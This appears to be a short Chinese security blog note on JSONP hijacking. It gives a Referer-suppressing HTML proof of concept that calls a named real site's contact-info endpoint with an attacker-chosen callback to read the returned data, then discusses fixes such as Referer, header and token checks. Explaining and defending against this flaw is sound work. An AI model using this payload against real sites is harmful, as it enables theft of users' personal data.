JSONP劫持

发出空refer的POC

<!DOCTYPE html>
<html>
<head>
<meta name="referrer" content="never">
</head>
<body>

<script>
function asd(json){
    alert(JSON.stringify(json));
}

</script>
<script src="https://jiameng.58.com/collect/contactInfo?callback=asd"></script>
</body>
</html>

修复

  • 验证refer或者header
  • token
场景 APP调用的后端接口存在jsonp劫持

在该场景中,APP没有统一设置refer,也即大部分请求没有refer。
这导致了refer不可取。
没有设置refer,意味着所有请求其实和第三方来源请求都是一样的,服务器也分不清。
最后的想法,APP端通常很多奇怪的header,而csrf/jsonp劫持的payload难以设置header,所以可以判断header。

为什么难以发出自定义header的请求

原文地址:https://www.cnblogs.com/huim/p/11005938.html